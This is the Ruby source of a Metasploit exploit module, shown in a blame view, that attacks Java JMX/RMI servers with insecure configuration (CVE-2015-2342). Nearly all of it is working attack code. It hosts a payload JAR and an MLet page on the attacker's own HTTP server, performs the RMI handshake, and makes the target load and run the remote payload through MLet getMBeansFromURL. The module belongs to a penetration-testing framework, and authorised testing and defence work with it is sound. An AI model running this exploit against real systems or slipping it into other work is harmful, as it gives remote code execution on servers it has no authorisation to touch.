Files

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

358 lines
11 KiB
Ruby
Raw Permalink Normal View History

2015-01-15 16:41:37 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2015-01-15 16:41:37 -06:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2015-01-15 16:41:37 -06:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::Java::Rmi::Client
2015-01-15 16:41:37 -06:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'Java JMX Server Insecure Configuration Java Code Execution',
'Description' => %q{
This module takes advantage a Java JMX interface insecure configuration, which would
allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication
disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while
interfaces with authentication enabled will be vulnerable only if a weak configuration
is deployed (allowing to use javax.management.loading.MLet, having a security manager
allowing to load a ClassLoader MBean, etc.).
},
'Author' => [
2015-01-15 16:41:37 -06:00
'Braden Thomas', # Attack vector discovery
'juan vazquez' # Metasploit module
],
2025-06-20 13:20:44 +01:00
'License' => MSF_LICENSE,
'References' => [
2015-01-15 16:41:37 -06:00
['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],
['URL', 'https://www.optiv.com/blog/exploiting-jmx-rmi'],
2015-10-01 18:56:37 +02:00
['CVE', '2015-2342']
2015-01-15 16:41:37 -06:00
],
2025-06-20 13:20:44 +01:00
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Privileged' => false,
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' => {
2015-01-15 16:41:37 -06:00
'WfsDelay' => 10
},
2025-06-20 13:20:44 +01:00
'Targets' => [
2015-01-15 16:41:37 -06:00
[ 'Generic (Java Payload)', {} ]
],
2025-06-20 13:20:44 +01:00
'DefaultTarget' => 0,
'DisclosureDate' => '2013-05-22',
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2015-01-15 16:41:37 -06:00
register_options([
2015-03-23 17:32:26 -05:00
Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),
2015-03-24 11:44:26 -05:00
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']),
Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi'])
])
register_common_rmi_ports_and_services
2015-01-15 16:41:37 -06:00
end
def post_auth?
true
end
2015-01-15 16:41:37 -06:00
def on_request_uri(cli, request)
2018-04-19 10:10:56 -07:00
if @jar.nil?
p = regenerate_payload(cli)
2025-06-20 13:20:44 +01:00
@jar = p.encoded_jar({ random: true })
2018-04-19 10:10:56 -07:00
paths = [
["metasploit", "JMXPayloadMBean.class"],
["metasploit", "JMXPayload.class"],
]
@jar.add_file('metasploit/', '')
paths.each do |path_parts|
path = ['java', path_parts].flatten.join('/')
contents = ::MetasploitPayloads.read(path)
@jar.add_file(path_parts.join('/'), contents)
end
2018-04-19 10:10:56 -07:00
end
2015-01-15 16:41:37 -06:00
if request.uri =~ /mlet$/
2015-01-21 00:36:34 -06:00
jar = "#{rand_text_alpha(8 + rand(8))}.jar"
2015-01-15 16:41:37 -06:00
2018-04-19 10:10:56 -07:00
mlet = "<HTML><mlet code=\"#{@jar.substitutions["metasploit"]}.JMXPayload\" "
2015-01-15 16:41:37 -06:00
mlet << "archive=\"#{jar}\" "
2015-01-21 00:36:34 -06:00
mlet << "name=\"#{@mlet}:name=jmxpayload,id=1\" "
2015-01-15 16:41:37 -06:00
mlet << "codebase=\"#{get_uri}\"></mlet></HTML>"
send_response(cli, mlet,
2025-06-20 13:20:44 +01:00
{
'Content-Type' => 'application/octet-stream',
'Pragma' => 'no-cache'
})
2015-01-20 20:44:10 -06:00
print_status("Replied to request for mlet")
2015-01-15 16:41:37 -06:00
elsif request.uri =~ /\.jar$/i
2018-04-19 10:10:56 -07:00
send_response(cli, @jar.pack,
2025-06-20 13:20:44 +01:00
{
'Content-Type' => 'application/java-archive',
'Pragma' => 'no-cache'
})
2015-01-15 16:41:37 -06:00
print_status("Replied to request for payload JAR")
end
end
def autofilter
return true
end
2015-01-20 20:51:20 -06:00
def check
2015-01-21 00:14:46 -06:00
connect
2015-01-20 20:51:20 -06:00
2015-01-21 00:14:46 -06:00
unless is_rmi?
return Exploit::CheckCode::Safe('Target is not an RMI endpoint')
2015-01-20 20:51:20 -06:00
end
2015-01-21 00:14:46 -06:00
mbean_server = discover_endpoint
disconnect
if mbean_server.nil?
return Exploit::CheckCode::Safe('The target is not vulnerable')
2015-01-21 00:14:46 -06:00
end
2015-02-24 05:24:09 -06:00
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
2015-01-21 00:14:46 -06:00
unless is_rmi?
disconnect
return Exploit::CheckCode::Unknown('RMI endpoint not found on discovered MBean server')
2015-01-21 00:14:46 -06:00
end
jmx_endpoint = handshake(mbean_server)
disconnect
if jmx_endpoint.nil?
return Exploit::CheckCode::Detected('The target service was detected')
2015-01-21 00:14:46 -06:00
end
2015-01-20 23:44:33 -06:00
Exploit::CheckCode::Appears('JMX endpoint discovered on target')
2015-01-20 20:51:20 -06:00
end
2015-01-15 16:41:37 -06:00
def exploit
vprint_status("Starting service...")
start_service
2022-03-11 12:22:27 +11:00
@mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"
connect
print_status("Sending RMI Header...")
unless is_rmi?
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
end
print_status("Discovering the JMXRMI endpoint...")
mbean_server = discover_endpoint
disconnect
if mbean_server.nil?
fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint")
else
print_good("JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
end
# First try to connect to the original RHOST, since the mbean address may be inaccessible
begin
2022-03-11 12:22:27 +11:00
connect(true, { 'RPORT' => mbean_server[:port] })
rescue Rex::ConnectionError
# If that fails, try connecting to the listed address instead
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
end
2022-03-11 12:22:27 +11:00
unless is_rmi?
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
end
print_status("Proceeding with handshake...")
jmx_endpoint = handshake(mbean_server)
if jmx_endpoint.nil?
fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server")
else
print_good("Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}")
end
print_status("Loading payload...")
unless load_payload(jmx_endpoint)
fail_with(Failure::Unknown, "#{peer} - Failed to load the payload")
end
print_status("Executing payload...")
send_jmx_invoke(
object_number: jmx_endpoint[:object_number],
uid_number: jmx_endpoint[:uid].number,
uid_time: jmx_endpoint[:uid].time,
uid_count: jmx_endpoint[:uid].count,
object: "#{@mlet}:name=jmxpayload,id=1",
method: 'run'
)
disconnect
2015-01-20 23:44:33 -06:00
end
def is_rmi?
send_header
ack = recv_protocol_ack
if ack.nil?
return false
end
true
end
def discover_endpoint
rmi_classes_and_interfaces = [
'javax.management.remote.rmi.RMIConnectionImpl',
'javax.management.remote.rmi.RMIConnectionImpl_Stub',
'javax.management.remote.rmi.RMIConnector',
'javax.management.remote.rmi.RMIConnectorServer',
'javax.management.remote.rmi.RMIIIOPServerImpl',
'javax.management.remote.rmi.RMIJRMPServerImpl',
'javax.management.remote.rmi.RMIServerImpl',
'javax.management.remote.rmi.RMIServerImpl_Stub',
'javax.management.remote.rmi.RMIConnection',
'javax.management.remote.rmi.RMIServer'
]
2015-03-24 11:44:26 -05:00
ref = send_registry_lookup(name: datastore['JMXRMI'])
2015-03-23 10:21:37 -05:00
return nil if ref.nil?
2015-01-20 23:44:33 -06:00
unless rmi_classes_and_interfaces.include? ref[:object]
2016-02-01 15:12:03 -06:00
vprint_error("JMXRMI discovery returned unexpected object #{ref[:object]}")
2015-01-20 23:44:33 -06:00
return nil
end
2015-03-23 10:21:37 -05:00
ref
2015-01-20 23:44:33 -06:00
end
def handshake(mbean)
2015-03-23 17:06:51 -05:00
begin
2015-03-23 17:32:26 -05:00
opts = {
2015-03-23 17:06:51 -05:00
object_number: mbean[:object_number],
uid_number: mbean[:uid].number,
uid_time: mbean[:uid].time,
uid_count: mbean[:uid].count
2015-03-23 17:32:26 -05:00
}
if datastore['JMX_ROLE']
username = datastore['JMX_ROLE']
password = datastore['JMX_PASSWORD']
opts.merge!(username: username, password: password)
end
ref = send_new_client(opts)
2015-03-23 17:06:51 -05:00
rescue ::Rex::Proto::Rmi::Exception => e
2016-02-01 15:12:03 -06:00
vprint_error("JMXRMI discovery raised an exception of type #{e.message}")
2015-01-20 23:44:33 -06:00
return nil
end
2015-03-23 17:06:51 -05:00
ref
2015-01-15 16:41:37 -06:00
end
2015-01-20 20:51:20 -06:00
def load_payload(conn_stub)
2016-02-01 15:12:03 -06:00
vprint_status("Getting JMXPayload instance...")
2015-01-20 23:44:33 -06:00
2015-03-23 17:06:51 -05:00
begin
res = send_jmx_get_object_instance(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: "#{@mlet}:name=jmxpayload,id=1"
)
rescue ::Rex::Proto::Rmi::Exception => e
case e.message
when 'javax.management.InstanceNotFoundException'
2016-02-01 15:12:03 -06:00
vprint_warning("JMXPayload instance not found, trying to load")
2015-03-23 17:06:51 -05:00
return load_payload_from_url(conn_stub)
else
2016-02-01 15:12:03 -06:00
vprint_error("getObjectInstance returned unexpected exception #{e.message}")
2015-03-23 17:06:51 -05:00
return false
end
2015-01-20 23:44:33 -06:00
end
2015-03-23 17:06:51 -05:00
return false if res.nil?
true
2015-01-20 23:44:33 -06:00
end
def load_payload_from_url(conn_stub)
2016-02-01 15:12:03 -06:00
vprint_status("Creating javax.management.loading.MLet MBean...")
2015-03-23 15:48:10 -05:00
2015-03-23 17:06:51 -05:00
begin
res = send_jmx_create_mbean(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: 'javax.management.loading.MLet'
)
rescue ::Rex::Proto::Rmi::Exception => e
case e.message
when 'javax.management.InstanceAlreadyExistsException'
2016-02-01 15:12:03 -06:00
vprint_good("javax.management.loading.MLet already exists")
2015-03-23 17:06:51 -05:00
res = true
when 'java.lang.SecurityException'
2016-02-01 15:12:03 -06:00
vprint_error(" The provided user hasn't enough privileges")
2015-03-23 17:06:51 -05:00
res = nil
else
2016-02-01 15:12:03 -06:00
vprint_error("createMBean raised unexpected exception #{e.message}")
2015-03-23 17:06:51 -05:00
res = nil
end
end
2015-01-21 00:07:00 -06:00
2015-03-23 17:06:51 -05:00
if res.nil?
2016-02-01 15:12:03 -06:00
vprint_error("The request to createMBean failed")
2015-01-21 00:07:00 -06:00
return false
end
2016-02-01 15:12:03 -06:00
vprint_status("Getting javax.management.loading.MLet instance...")
2015-03-23 17:06:51 -05:00
begin
res = send_jmx_get_object_instance(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: 'DefaultDomain:type=MLet'
)
rescue ::Rex::Proto::Rmi::Exception => e
2016-02-01 15:12:03 -06:00
vprint_error("getObjectInstance returned unexpected exception: #{e.message}")
2015-01-21 00:07:00 -06:00
return false
2015-01-15 16:41:37 -06:00
end
2015-03-23 17:06:51 -05:00
if res.nil?
2016-02-01 15:12:03 -06:00
vprint_error("The request to GetObjectInstance failed")
2015-01-21 00:07:00 -06:00
return false
2015-01-15 16:41:37 -06:00
end
2016-02-01 15:12:03 -06:00
vprint_status("Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")
2015-01-15 16:41:37 -06:00
2015-03-23 17:06:51 -05:00
begin
res = send_jmx_invoke(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
object: 'DefaultDomain:type=MLet',
method: 'getMBeansFromURL',
args: { 'java.lang.String' => "#{get_uri}/mlet" }
)
rescue ::Rex::Proto::Rmi::Exception => e
2016-02-01 15:12:03 -06:00
vprint_error("invoke() returned unexpected exception: #{e.message}")
2015-01-21 00:07:00 -06:00
return false
2015-01-15 16:41:37 -06:00
end
2015-03-23 17:06:51 -05:00
if res.nil?
2016-02-01 15:12:03 -06:00
vprint_error("The call to getMBeansFromURL failed")
2015-01-21 00:07:00 -06:00
return false
2015-01-15 16:41:37 -06:00
end
2015-03-23 17:06:51 -05:00
true
2015-01-15 16:41:37 -06:00
end
end